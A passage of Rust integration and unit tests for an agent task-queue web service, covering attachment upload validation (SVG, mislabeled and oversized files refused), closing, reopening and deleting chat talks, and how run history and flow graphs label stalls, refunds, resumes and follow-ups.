15995                &format!("/api/talks/{id}/attachments"),
15996                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15997                PNG_BYTES,
15998            )
15999            .await;
16000        assert_eq!(res.status, 201, "{}", res.body);
16001        let body = res.json();
16002        assert_eq!(body["name"], "shot.png");
16003        assert_eq!(body["mime"], "image/png");
16004        assert_eq!(body["bytes"], PNG_BYTES.len());
16005        let att_id = body["id"].as_str().expect("id").to_owned();
16006        assert_eq!(
16007            att_id.len(),
16008            32,
16009            "the id must never be a client-suppliable path: {att_id}"
16010        );
16011
16012        let got = f
16013            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16014            .await;
16015        assert_eq!(got.status, 200, "{}", got.body);
16016        assert_eq!(got.header("content-type"), Some("image/png"));
16017        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16018        assert_eq!(got.bytes, PNG_BYTES);
16019    }
16020
16021    #[tokio::test]
16022    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16023        let f = Fixture::start().await;
16024        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16025
16026        // SVG can carry a `<script>`, so it is never on the whitelist even
16027        // though it is a real IANA image type.
16028        let svg = f
16029            .post_bytes(
16030                &format!("/api/talks/{id}/attachments"),
16031                &[("Content-Type", "image/svg+xml")],
16032                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16033            )
16034            .await;
16035        assert!(
16036            (400..500).contains(&svg.status),
16037            "svg must be refused: {} {}",
16038            svg.status,
16039            svg.body
16040        );
16041        assert!(svg.body.contains("SVG"), "{}", svg.body);
16042
16043        let text = f
16044            .post_bytes(
16045                &format!("/api/talks/{id}/attachments"),
16046                &[("Content-Type", "text/plain")],
16047                b"just some text",
16048            )
16049            .await;
16050        assert!(
16051            (400..500).contains(&text.status),
16052            "an unlisted type must be refused: {} {}",
16053            text.status,
16054            text.body
16055        );
16056
16057        // The declared type is a real png, but the size check runs before
16058        // the bytes are even looked at.
16059        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16060        let big = f
16061            .post_bytes(
16062                &format!("/api/talks/{id}/attachments"),
16063                &[("Content-Type", "image/png")],
16064                &oversized,
16065            )
16066            .await;
16067        assert_eq!(
16068            big.status,
16069            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16070            "{}",
16071            big.body
16072        );
16073    }
16074
16075    #[tokio::test]
16076    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16077        let f = Fixture::start().await;
16078        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16079
16080        // A whitelisted `Content-Type`, but bytes that are not actually a
16081        // png - the declared header alone is never trusted.
16082        let res = f
16083            .post_bytes(
16084                &format!("/api/talks/{id}/attachments"),
16085                &[("Content-Type", "image/png")],
16086                b"<html>not a picture</html>",
16087            )
16088            .await;
16089        assert!((400..500).contains(&res.status), "{}", res.body);
16090    }
16091
16092    #[tokio::test]
16093    async fn an_unknown_attachment_id_is_a_404() {
16094        let f = Fixture::start().await;
16095        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16096
16097        let res = f
16098            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16099            .await;
16100        assert_eq!(res.status, 404, "{}", res.body);
16101    }
16102
16103    #[tokio::test]
16104    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16105        let f = Fixture::start().await;
16106        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16107
16108        let uploaded = f
16109            .post_bytes(
16110                &format!("/api/talks/{id}/attachments"),
16111                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16112                PNG_BYTES,
16113            )
16114            .await;
16115        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16116        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16117
16118        let res = f
16119            .post(
16120                &format!("/api/talks/{id}/say"),
16121                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16122            )
16123            .await;
16124        assert_eq!(res.status, 202, "{}", res.body);
16125        let queued = res.json();
16126        let turns = queued["turns"].as_array().expect("turns array");
16127        assert_eq!(
16128            turns.len(),
16129            1,
16130            "an empty body with an attachment is still a turn: {queued}"
16131        );
16132        assert_eq!(turns[0]["who"], "operator");
16133        assert_eq!(turns[0]["body"], "");
16134        let atts = turns[0]["attachments"]
16135            .as_array()
16136            .expect("attachments array");
16137        assert_eq!(atts.len(), 1);
16138        assert_eq!(atts[0]["id"], att_id);
16139        assert_eq!(atts[0]["mime"], "image/png");
16140
16141        // Not only in the response: `record` flushes to disk before the
16142        // agent's own turn is even spawned.
16143        let on_disk = f.talks().get(&id).expect("get");
16144        assert_eq!(on_disk.turns[0].attachments.len(), 1);
16145        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16146    }
16147
16148    #[tokio::test]
16149    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16150        let f = Fixture::start().await;
16151        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16152
16153        let res = f
16154            .post(
16155                &format!("/api/talks/{id}/say"),
16156                Some(&format!(
16157                    r#"{{"text":"hi","attachments":["{}"]}}"#,
16158                    "a".repeat(32)
16159                )),
16160            )
16161            .await;
16162        assert!((400..500).contains(&res.status), "{}", res.body);
16163        assert!(res.body.contains("unknown attachment"), "{}", res.body);
16164
16165        let on_disk = f.talks().get(&id).expect("get");
16166        assert!(
16167            on_disk.turns.is_empty(),
16168            "a rejected attachment id must not partially record the turn: {:?}",
16169            on_disk.turns
16170        );
16171    }
16172
16173    #[tokio::test]
16174    async fn talk_close_makes_the_talk_refuse_further_turns() {
16175        let f = Fixture::start().await;
16176        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16177
16178        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16179        assert_eq!(closed.status, 200, "{}", closed.body);
16180        assert_eq!(closed.json()["status"], "closed");
16181
16182        // Idempotent: closing an already-closed talk is not an error.
16183        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16184        assert_eq!(closed_again.status, 200);
16185        assert_eq!(closed_again.json()["status"], "closed");
16186
16187        let said = f
16188            .post(
16189                &format!("/api/talks/{id}/say"),
16190                Some(r#"{"text":"too late"}"#),
16191            )
16192            .await;
16193        assert_eq!(said.status, 409, "{}", said.body);
16194    }
16195
16196    #[tokio::test]
16197    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16198        let (_tmp, _repo, f) = talk_fixture().await;
16199        let id = f.post("/api/talks", None).await.json()["id"]
16200            .as_str()
16201            .expect("id")
16202            .to_owned();
16203        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16204        assert_eq!(closed.status, 200, "{}", closed.body);
16205
16206        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16207        assert_eq!(reopened.status, 200, "{}", reopened.body);
16208        assert_eq!(reopened.json()["status"], "open");
16209
16210        // Idempotent: reopening an already-open talk is not an error.
16211        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16212        assert_eq!(reopened_again.status, 200);
16213        assert_eq!(reopened_again.json()["status"], "open");
16214
16215        let said = f
16216            .post(
16217                &format!("/api/talks/{id}/say"),
16218                Some(r#"{"text":"still there?"}"#),
16219            )
16220            .await;
16221        assert_eq!(
16222            said.status, 202,
16223            "a reopened talk accepts turns again: {}",
16224            said.body
16225        );
16226    }
16227
16228    #[tokio::test]
16229    async fn talk_reopen_on_an_unknown_id_is_404() {
16230        let f = Fixture::start().await;
16231        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16232        assert_eq!(res.status, 404, "{}", res.body);
16233    }
16234
16235    #[tokio::test]
16236    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16237        let f = Fixture::start().await;
16238        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16239
16240        let deleted = f.delete(&format!("/api/talks/{id}")).await;
16241        assert_eq!(deleted.status, 204, "{}", deleted.body);
16242
16243        let after = f.get(&format!("/api/talks/{id}")).await;
16244        assert_eq!(after.status, 404, "{}", after.body);
16245
16246        let listed = f.get("/api/talks").await.json();
16247        assert!(
16248            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16249            "a deleted talk must not linger in the list: {listed}"
16250        );
16251    }
16252
16253    #[tokio::test]
16254    async fn talk_delete_on_an_unknown_id_is_404() {
16255        let f = Fixture::start().await;
16256        let res = f.delete("/api/talks/nonexistent-id").await;
16257        assert_eq!(res.status, 404, "{}", res.body);
16258    }
16259
16260    /// A task's page lists every run it ever had, in order, and says what kind
16261    /// of attempt each was - including a resume, which re-pushes the same run
16262    /// id, and a run whose record this build cannot read.
16263    #[tokio::test]
16264    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16265        let f = Fixture::start().await;
16266        let (a, b, gone) = (
16267            "20260902-140501-aaaa",
16268            "20260902-140502-bbbb",
16269            "20260902-140503-cccc",
16270        );
16271        write_run(&f.runs(), a, RunStatus::Stalled);
16272        let mut review = RunState::new(
16273            PathBuf::from("/repo/magi"),
16274            "main".to_owned(),
16275            "0123456789abcdef".to_owned(),
16276            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16277                .to_owned(),
16278            Config::default(),
16279        );
16280        review.id = b.to_owned();
16281        review.status = RunStatus::Merged;
16282        write_state(&f.runs(), &review);
16283
16284        let mut task = Task::new(
16285            "retry".to_owned(),
16286            "Do the thing".to_owned(),
16287            PathBuf::from("/repo/magi"),
16288            Source::Human,
16289        );
16290        task.start(a.to_owned());
16291        task.stall("quota");
16292        task.start(a.to_owned());
16293        task.start(b.to_owned());
16294        task.start(gone.to_owned());
16295        // This fixture models an older queue file with repeated run entries.
16296        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16297        f.queue().put(&mut task).expect("file the task");
16298
16299        let res = f.get(&format!("/api/queue/{}", task.id)).await;
16300        assert_eq!(res.status, 200, "{}", res.body);
16301        let v = res.json();
16302        let h = v["history"].as_array().expect("history");
16303        assert_eq!(h.len(), 4, "{v}");
16304        assert_eq!(h[0]["kind"], "competition");
16305        assert_eq!(h[0]["status"], "stalled");
16306        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16307        assert_eq!(h[1]["kind"], "resume", "{v}");
16308        assert!(
16309            h[0]["outcome"]
16310                .as_str()
16311                .unwrap()
16312                .contains("unknown. Pass #2"),
16313            "an earlier pass of a resumed run must not claim the final outcome: {v}"
16314        );
16315        assert!(
16316            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16317            "{v}"
16318        );
16319        assert!(
16320            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16321            "an unrecorded cause must not be narrated as an operator park: {v}"
16322        );
16323        assert_eq!(h[2]["kind"], "review");
16324        assert!(
16325            h[2]["description"]
16326                .as_str()
16327                .unwrap()
16328                .contains("magi/aaaa/A")
16329        );
16330        assert_eq!(h[2]["status"], "merged");
16331        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16332        assert_eq!(v["runs_unreadable"], 1);
16333        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16334        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16335        assert_eq!(nodes[4]["note"], "unreadable");
16336        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16337        assert_eq!(v["instruction"], "Do the thing");
16338        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16339
16340        // The run's own page links back to the task.
16341        let run = f.get(&format!("/api/runs/{a}")).await.json();
16342        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16343
16344        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16345    }
16346
16347    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16348        let mut s = RunState::new(
16349            PathBuf::from("/repo/magi"),
16350            "main".to_owned(),
16351            "0123456789abcdef".to_owned(),
16352            "Do it".to_owned(),
16353            Config::default(),
16354        );
16355        s.status = status;
16356        edit(&mut s);
16357        s
16358    }
16359
16360    fn flow_task(runs: &[&str]) -> Task {
16361        let mut t = Task::new(
16362            "t".to_owned(),
16363            "Do it".to_owned(),
16364            PathBuf::from("/repo/magi"),
16365            Source::Human,
16366        );
16367        for r in runs {
16368            t.start((*r).to_owned());
16369        }
16370        // Synthetic flows without RunPass records model legacy queue data.
16371        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16372        t
16373    }
16374
16375    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16376        let h = task_history(task, |id| {
16377            states
16378                .iter()
16379                .find(|(i, _)| *i == id)
16380                .and_then(|(_, s)| s.clone())
16381        });
16382        task_flow(task, &h, 5, None)
16383    }
16384
16385    #[test]
16386    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16387        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16388        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16389        let first = "2026-10-10T02:00:00Z".parse().unwrap();
16390        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16391        let held = "2026-10-10T04:00:00Z".parse().unwrap();
16392        let run = flow_run(RunStatus::Implementing, |s| {
16393            s.created_at = created;
16394            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16395            s.passes[0].started_at = first;
16396            s.passes[1].started_at = resumed;
16397        });
16398        let mut task = flow_task(&[RUN_X, RUN_X]);
16399        task.created_at = queued;
16400        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16401        task.status = TaskStatus::Held;
16402        task.held_at = Some(held);
16403        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16404        assert_eq!(
16405            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16406            vec![Some(queued), Some(first), Some(resumed), Some(held)]
16407        );
16408        assert!(flow.nodes.iter().all(|n| n.time_expected));
16409        let json = serde_json::to_value(&flow).unwrap();
16410        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16411        assert_eq!(json["nodes"][2]["time_expected"], true);
16412    }
16413
16414    #[test]
16415    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16416        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16417        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16418        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16419        // These timestamps are not the start of the current status.
16420        task.held_at = Some(created);
16421        task.blocked_at = Some(created);
16422        for status in [
16423            TaskStatus::Queued,
16424            TaskStatus::Running,
16425            TaskStatus::Blocked,
16426            TaskStatus::Done,
16427            TaskStatus::Failed,
16428            TaskStatus::Parked,
16429            TaskStatus::Held,
16430        ] {
16431            task.status = status;
16432            if status == TaskStatus::Held {
16433                task.held_at = None;
16434            }
16435            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16436            assert_eq!(flow.nodes[1].started_at, Some(created));
16437            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16438            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16439            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16440            let json = serde_json::to_value(&flow).unwrap();
16441            assert!(json["nodes"][3]["started_at"].is_null());
16442            assert_eq!(json["nodes"][3]["time_expected"], true);
16443        }
16444    }
16445
16446    #[test]
16447    fn flow_context_links_do_not_expect_start_times() {
16448        let mut task = flow_task(&[]);
16449        task.source = Source::Agent {
16450            run: "chat-id".to_owned(),
16451            node: "chat".to_owned(),
16452        };
16453        let origin = followup_origin(&fu(None), |_| None, |_| None);
16454        let flow = task_flow(&task, &[], 5, Some(&origin));
16455        for node in &flow.nodes[..2] {
16456            assert!(!node.time_expected);
16457            assert_eq!(node.started_at, None);
16458        }
16459        assert!(flow.nodes[2].time_expected);
16460    }
16461
16462    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16463        crate::queue::FollowUp {
16464            run: "20260901-000000-aaaa".to_owned(),
16465            origin_task: origin_task.map(str::to_owned),
16466            pr: "https://example.com/o/r/pull/1".to_owned(),
16467            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16468                .map(str::to_owned)
16469                .to_vec(),
16470            generation: 1,
16471        }
16472    }
16473
16474    fn parent_task() -> Task {
16475        let mut p = flow_task(&[]);
16476        p.title = "Parent title".to_owned();
16477        p.status = TaskStatus::Done;
16478        p
16479    }
16480
16481    #[test]
16482    fn flow_opens_with_the_parent_task_of_a_followup() {
16483        let p = parent_task();
16484        let pid = p.id.clone();
16485        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16486        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16487        let n = &f.nodes[0];
16488        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16489        assert_eq!(
16490            n.label,
16491            format!("Follow-up of {}", crate::queue::short(&pid))
16492        );
16493        assert_eq!(n.detail.as_deref(), Some("Parent title"));
16494        assert_eq!(n.status, Some("done"));
16495        assert_eq!(n.status_of, "task");
16496        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16497        assert_eq!(f.nodes[1].key, "start");
16498        assert_eq!(f.edges[0].from, "origin");
16499        assert_eq!(
16500            f.edges[0].label,
16501            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16502        );
16503    }
16504
16505    #[test]
16506    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
16507        let o = followup_origin(
16508            &fu(Some("gone")),
16509            |_| None,
16510            |_| {
16511                Some(RunState::new(
16512                    std::path::PathBuf::from("."),
16513                    "main".to_owned(),
16514                    "0".to_owned(),
16515                    "t".to_owned(),
16516                    crate::config::Config::default(),
16517                ))
16518            },
16519        );
16520        assert!(o.parent.is_none());
16521        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16522        let n = &f.nodes[0];
16523        assert_eq!(n.status_of, "run");
16524        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
16525        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
16526    }
16527
16528    #[test]
16529    fn flow_followup_with_nothing_readable_has_no_link() {
16530        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
16531        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16532        let n = &f.nodes[0];
16533        assert_eq!(n.href, None);
16534        assert_eq!(n.note, Some("unreadable"));
16535        assert!(!n.readable);
16536    }
16537
16538    #[test]
16539    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
16540        let o = followup_origin(&fu(None), |_| None, |_| None);
16541        let mut t = flow_task(&[]);
16542        t.origin_chat = Some("c1".to_owned());
16543        let f = task_flow(&t, &[], 5, Some(&o));
16544        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
16545        t.source = Source::Agent {
16546            run: "c1".to_owned(),
16547            node: crate::queue::CHAT_NODE.to_owned(),
16548        };
16549        let f = task_flow(&t, &[], 5, Some(&o));
16550        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
16551        assert_eq!(
16552            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
16553            ("chat", "origin")
16554        );
16555    }
16556
16557    #[test]
16558    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
16559        let mut p = parent_task();
16560        p.id = "a b/c".to_owned();
16561        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
16562        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
16563    }
16564
16565    #[test]
16566    fn flow_opens_with_the_chat_that_queued_the_task() {
16567        let mut t = flow_task(&[]);
16568        t.source = Source::Agent {
16569            run: "a b/c".to_owned(),
16570            node: crate::queue::CHAT_NODE.to_owned(),
16571        };
16572        let f = flow_for(&t, &[]);
16573        assert_eq!(f.nodes[0].key, "chat");
16574        assert_eq!(f.nodes[0].kind, "chat");
16575        assert_eq!(
16576            f.nodes[0].label,
16577            format!("Chat {}", crate::queue::short("a b/c"))
16578        );
16579        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
16580        assert_eq!(f.nodes[1].key, "start");
16581        assert_eq!(
16582            f.edges[0],
16583            FlowEdge {
16584                from: "chat".to_owned(),
16585                to: "start".to_owned(),
16586                label: "queued from chat".to_owned(),
16587                attempt: AttemptCost::None,
16588            }
16589        );
16590    }
16591
16592    #[test]
16593    fn flow_has_no_chat_box_for_other_sources() {
16594        for source in [
16595            Source::Human,
16596            Source::Issue {
16597                number: 3,
16598                repo: "o/r".to_owned(),
16599            },
16600            Source::Agent {
16601                run: "20260904-014455-ab12".to_owned(),
16602                node: "implement".to_owned(),
16603            },
16604        ] {
16605            let mut t = flow_task(&[]);
16606            t.source = source;
16607            let f = flow_for(&t, &[]);
16608            assert_eq!(f.nodes[0].key, "start");
16609            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
16610            assert!(f.edges.iter().all(|e| e.from != "chat"));
16611        }
16612    }
16613
16614    const FA: &str = "20260902-140501-aaaa";
16615    const FB: &str = "20260902-140502-bbbb";
16616
16617    #[test]
16618    fn flow_follows_blocked_retry_merged_to_done() {
16619        let mut t = flow_task(&[FA, FB]);
16620        t.status = TaskStatus::Done;
16621        let f = flow_for(
16622            &t,
16623            &[
16624                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16625                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16626            ],
16627        );
16628        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16629        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16630        assert_eq!(f.edges.len(), 3);
16631        assert_eq!(f.edges[0].label, "claimed");
16632        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16633        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16634        assert_eq!(f.edges[2].label, "merged \u{2192} done");
16635        assert_eq!(
16636            f.nodes[2].href.as_deref(),
16637            Some("#/runs/20260902-140502-bbbb")
16638        );
16639        assert!(f.nodes[2].decided);
16640    }
16641
16642    #[test]
16643    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16644        let quota = || {
16645            flow_run(RunStatus::Stalled, |s| {
16646                s.quota.push(crate::run::QuotaLoss {
16647                    cause: crate::agent::QuotaCause::UsageLimit,
16648                    agent: String::new(),
16649                    seat: "judge-1".to_owned(),
16650                    node: "judge".to_owned(),
16651                    at: Timestamp::now(),
16652                    reset: None,
16653                })
16654            })
16655        };
16656        let mut t = flow_task(&[FA, FA]);
16657        t.status = TaskStatus::Queued;
16658        let f = flow_for(&t, &[(FA, Some(quota()))]);
16659        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16660        assert_eq!(f.nodes[1].note, Some("interrupted"));
16661        assert_eq!(
16662            f.nodes[1].status, None,
16663            "no outcome copied onto an earlier pass"
16664        );
16665        assert_eq!(
16666            f.edges[1].attempt,
16667            AttemptCost::Unknown,
16668            "a resume does not prove the earlier pass was refunded"
16669        );
16670        assert!(f.edges[1].label.contains("resume the same run"));
16671        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16672        assert_eq!(
16673            f.edges[2].label,
16674            "stalled after a resume, refund unknown \u{2192} queued"
16675        );
16676        assert!(!f.nodes[2].decided, "a stall is not a decision");
16677        assert_eq!(f.nodes[2].note, Some("no verdict"));
16678    }
16679
16680    #[test]
16681    fn flow_single_pass_quota_stall_is_refunded() {
16682        let t = flow_task(&[FA]);
16683        let f = flow_for(
16684            &t,
16685            &[(
16686                FA,
16687                Some(flow_run(RunStatus::Stalled, |s| {
16688                    s.quota.push(crate::run::QuotaLoss {
16689                        cause: crate::agent::QuotaCause::UsageLimit,
16690                        agent: String::new(),
16691                        seat: "judge-1".to_owned(),
16692                        node: "judge".to_owned(),
16693                        at: Timestamp::now(),
16694                        reset: None,
16695                    })
16696                })),
16697            )],
16698        );
16699        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16700    }
16701
16702    #[test]
16703    fn flow_parked_refunds_and_stall_without_quota_spends() {
16704        let mut t = flow_task(&[FA]);
16705        t.status = TaskStatus::Queued;
16706        let f = flow_for(
16707            &t,
16708            &[(
16709                FA,
16710                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16711            )],
16712        );
16713        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16714        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16715        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16716        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16717        assert!(!f.nodes[1].decided);
16718    }
16719
16720    #[test]
16721    fn flow_keeps_an_unreadable_run_as_its_own_node() {
16722        let t = flow_task(&[FA, FB]);
16723        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16724        assert_eq!(f.nodes[1].note, Some("unreadable"));
16725        assert!(!f.nodes[1].readable);
16726        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16727        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16728    }
16729
16730    #[test]
16731    fn flow_names_the_branch_of_a_review_only_run() {
16732        let t = flow_task(&[FA]);
16733        let f = flow_for(
16734            &t,
16735            &[(
16736                FA,
16737                Some(flow_run(RunStatus::Merged, |s| {
16738                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16739                })),
16740            )],
16741        );
16742        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16743        assert_eq!(
16744            f.nodes[1].detail.as_deref(),
16745            Some("review-only run of branch magi/x/A")
16746        );
16747    }
16748
16749    #[test]
16750    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16751        let mut t = flow_task(&[FA]);
16752        t.status = TaskStatus::Held;
16753        let pr = crate::run::PrRecord {
16754            url: "https://example.test/pr/1".to_owned(),
16755            number: 1,
16756            state: "open".to_owned(),
16757            checks: "green".to_owned(),
16758            round: 0,
16759            rounds: 3,
16760            red_at_merge: Vec::new(),
16761        };
16762        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16763        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16764        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16765        t.status = TaskStatus::Done;
16766        let f = flow_for(&t, &[(FA, Some(blocked))]);
16767        assert_eq!(f.edges[1].label, "closed by hand: task is done");
16768    }
16769
16770    #[test]
16771    fn flow_with_no_runs_goes_from_queued_to_queued() {
16772        let t = flow_task(&[]);
16773        let f = flow_for(&t, &[]);
16774        assert_eq!(f.nodes.len(), 2);
16775        assert_eq!(f.edges.len(), 1);
16776        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16777        assert_eq!(f.edges[0].attempt, AttemptCost::None);
16778    }
16779
16780    /// A run parked mid-flight keeps a non-terminal status; the page must
16781    /// still say why it stopped and that the attempt came back.
16782    #[test]
16783    fn a_parked_non_terminal_run_is_explained_as_parked() {
16784        let mut s = RunState::new(
16785            PathBuf::from("/repo/magi"),
16786            "main".to_owned(),
16787            "0123456789abcdef".to_owned(),
16788            "Do it".to_owned(),
16789            Config::default(),
16790        );
16791        s.status = RunStatus::Implementing;
16792        s.parked = true;
16793        let task = Task::new(
16794            "t".to_owned(),
16795            "Do it".to_owned(),
16796            PathBuf::from("/repo/magi"),
16797            Source::Human,
16798        );
16799        let v = task_run_view(
16800            "20260902-140501-aaaa",
16801            Some(&s),
16802            RunSlot {
16803                n: 1,
16804                resumed: false,
16805                resumed_later: None,
16806                prior: None,
16807                last: true,
16808                ..RunSlot::default()
16809            },
16810            &task,
16811        );
16812        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16813    }
16814
16815    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16816        let mut s = flow_run(RunStatus::Implementing, edit);
16817        s.parked = false;
16818        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16819        task_run_view(
16820            "20260902-140501-aaaa",
16821            Some(&s),
16822            RunSlot {
16823                n: 1,
16824                resumed: false,
16825                resumed_later: Some(2),
16826                prior: None,
16827                last: false,
16828                ..RunSlot::default()
16829            },
16830            &task,
16831        )
16832    }
16833
16834    #[test]
16835    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16836        let v = earlier_pass_view(|_| {});
16837        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16838        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16839        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16840        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16841        assert_eq!(v.exit, RunExit::Interrupted);
16842        assert_eq!(v.attempt, AttemptCost::Unknown);
16843    }
16844
16845    #[test]
16846    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16847        let v = earlier_pass_view(|s| {
16848            s.quota.push(crate::run::QuotaLoss {
16849                cause: crate::agent::QuotaCause::UsageLimit,
16850                agent: String::new(),
16851                seat: "judge-1".to_owned(),
16852                node: "judge".to_owned(),
16853                at: Timestamp::now(),
16854                reset: None,
16855            });
16856        });
16857        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16858        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16859        assert_eq!(v.attempt, AttemptCost::Unknown);
16860    }
16861
16862    #[test]
16863    fn the_current_pass_states_its_recorded_cause_and_cost() {
16864        let slot = || RunSlot {
16865            n: 1,
16866            resumed: false,
16867            resumed_later: None,
16868            prior: None,
16869            last: true,
16870            ..RunSlot::default()
16871        };
16872        let task = flow_task(&["20260902-140501-aaaa"]);
